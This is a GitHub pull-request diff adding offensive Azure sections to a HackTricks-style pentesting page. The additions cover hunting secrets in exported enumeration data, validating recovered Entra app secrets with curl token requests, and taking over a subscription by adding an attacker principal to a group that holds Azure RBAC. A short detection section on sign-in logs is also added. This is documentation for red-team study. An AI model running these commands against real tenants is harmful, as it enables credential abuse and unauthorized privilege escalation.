Skip to content
Open
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
Original file line number Diff line number Diff line change
Expand Up @@ -27,6 +27,84 @@ Azure PowerShell also stores tokens and sensitive data, which can be accessed lo
- [**Winpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS/winPEASexe)
- [**Get-AzurePasswords.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/AzureRM/Get-AzurePasswords.ps1)

## Secrets in Azure enumeration artifacts

After you get authenticated Azure enumeration data, search the exported files **offline** before making more Azure requests. `Get-AzDomainInfo` / `Get-AzureDomainInfo` output, [Logic Apps](../az-services/az-logic-apps.md), [Automation Accounts](../az-services/az-automation-accounts.md), VM extension settings, and [ARM deployment history](../az-services/az-arm-templates.md) can retain plaintext passwords, client secrets, connection strings, SAS tokens, and other reusable credentials.<sup>[[1]](#references)[[2]](#references)[[7]](#references)</sup>

`MicroBurst Secrets Hunter` is useful here because it scans files that were **already exported**, so the secret-hunting phase is separated from Azure enumeration noise. Keep the reports redacted by default; using `-ShowSecrets` exposes the full value in the console and generated reports, so the output must be handled as a live credential store.<sup>[[2]](#references)[[7]](#references)</sup>

A typical offline workflow is:<sup>[[1]](#references)[[2]](#references)</sup>

```powershell
Get-AzDomainInfo -folder .\MicroBurst-2026 -Verbose
.\Scan-MicroBurst.ps1 -Path .\MicroBurst-2026
Import-Module .\MicroBurstSecretsHunter.psd1 -Force
Invoke-MBSecretScan -Path .\MicroBurst-2026
```

## Validate recovered application secrets

A recovered Entra application secret is only useful if it is still valid and can mint tokens for a valuable audience. Test it separately against **Microsoft Graph** and **Azure Resource Manager (ARM)** because access to one control plane does not imply access to the other. Also record the remaining lifetime before spending time on broader enumeration.<sup>[[3]](#references)[[7]](#references)</sup>

Use environment variables instead of command-line flags when handling recovered secrets: the value stays out of shell history and is not exposed in the process command line for the lifetime of the tool.<sup>[[3]](#references)[[7]](#references)</sup>

```bash
export SS_TENANT=contoso.onmicrosoft.com
export SS_CLIENT_ID=11111111-2222-3333-4444-555555555555
export SS_SECRET='<client-secret>'

python -m secret_stalker

for scope in https://graph.microsoft.com/.default https://management.azure.com/.default; do
curl -s -X POST "https://login.microsoftonline.com/$SS_TENANT/oauth2/v2.0/token" \
-d "client_id=$SS_CLIENT_ID" \
--data-urlencode "client_secret=$SS_SECRET" \
-d 'grant_type=client_credentials' \
--data-urlencode "scope=$scope" | jq '{token_type, expires_in, has_token:(.access_token != null)}'
done
```

If the secret works, inspect the Graph permissions and ARM role assignments of the service principal before switching to noisier tenant-wide collectors such as AzureHound.<sup>[[3]](#references)[[7]](#references)</sup>

```bash
sp_obj_id=$(az ad sp show --id "$SS_CLIENT_ID" --query id -o tsv)
graph_sp_id=$(az ad sp show --id 00000003-0000-0000-c000-000000000000 --query id -o tsv)

# Microsoft Graph application permissions granted to this service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$graph_sp_id/appRoleAssignedTo?\$filter=principalId eq $sp_obj_id"

# ARM scopes already assigned to this service principal
az role assignment list --assignee-object-id "$sp_obj_id" --all -o table
```

## Graph group-write to Azure RBAC takeover

A recovered app secret can bridge **Microsoft Graph** into **ARM** when the compromised service principal can modify group membership and one of those Entra groups already has Azure RBAC on a management group or subscription. In that case, adding an attacker-controlled user or service principal to the group inherits the group's Azure role, which can become subscription takeover if the group is `Owner` at subscription scope.<sup>[[3]](#references)[[4]](#references)[[7]](#references)</sup>

The first check is whether a writable group already controls an Azure scope:<sup>[[3]](#references)[[7]](#references)</sup>

```bash
group_id=<entra-group-object-id>
az role assignment list --assignee-object-id "$group_id" --all \
--query "[?roleDefinitionName=='Owner' || roleDefinitionName=='User Access Administrator'].{role:roleDefinitionName,scope:scope}" \
-o table
```

If the app can update group membership, add the attacker-controlled principal through Graph and then re-authenticate as that new member to use the inherited ARM role:<sup>[[4]](#references)[[7]](#references)</sup>

```bash
group_id=<entra-group-object-id>
member_id=<attacker-user-or-sp-object-id>

az rest --method POST \
--uri "https://graph.microsoft.com/v1.0/groups/$group_id/members/\$ref" \
--headers "Content-Type=application/json" \
--body "{\"@odata.id\":\"https://graph.microsoft.com/v1.0/directoryObjects/$member_id\"}"
```

This common cloud-escalation path usually targets a **normal Entra group** that happens to hold Azure RBAC. **Entra role-assignable groups** are a different case and require stronger permissions to modify through Microsoft Graph.<sup>[[4]](#references)</sup>

## Tokens in memory

As explained in [**this video**](https://www.youtube.com/watch?v=OHKZkXC4Duw), some Microsoft software synchronized with the cloud (Excel, Teams...) might **store access tokens in clear-text in memory**. So just **dumping** the **memory** of the process and **grepping for JWT tokens** might grant you access over several resources of the victim in the cloud bypassing MFA.
Expand Down Expand Up @@ -58,5 +136,18 @@ curl -o <filename_output> -L -H "Authorization: Bearer <token>" '<@microsoft.gra

**Note that these kind of access tokens can be also found inside other processes.**

{{#include ../../../banners/hacktricks-training.md}}
## Monitoring recovered app-secret usage

When validating exposed client secrets, review **service principal sign-in logs**. They capture the app or service principal identity, the target resource, the client IP, and the credential type used for the sign-in. In Log Analytics, `AADServicePrincipalSignInLogs` also exposes fields such as `ClientCredentialType` and `ServicePrincipalCredentialKeyId`, which are useful to correlate the use of a recovered secret with later Graph or ARM activity.<sup>[[5]](#references)[[6]](#references)</sup>

## References

- [1] [NetSPI MicroBurst](https://github.com/NetSPI/MicroBurst)
- [2] [rootsecdev - MicroBurst Secrets Hunter](https://github.com/rootsecdev/MicroburstSecretsHunter)
- [3] [rootsecdev - secret_stalker](https://github.com/rootsecdev/SecretsStalker)
- [4] [Microsoft Graph - Add members](https://learn.microsoft.com/en-us/graph/api/group-post-members?view=graph-rest-1.0)
- [5] [Microsoft Entra ID - Service principal sign-in logs](https://learn.microsoft.com/en-us/entra/identity/monitoring-health/concept-service-principal-sign-ins)
- [6] [Azure Monitor - AADServicePrincipalSignInLogs](https://learn.microsoft.com/en-us/azure/azure-monitor/reference/tables/aadserviceprincipalsigninlogs)
- [7] [TrustedSec - The Art of Hunting Azure Cloud Secrets](https://trustedsec.com/blog/the-art-of-hunting-azure-cloud-secrets)

{{#include ../../../banners/hacktricks-training.md}}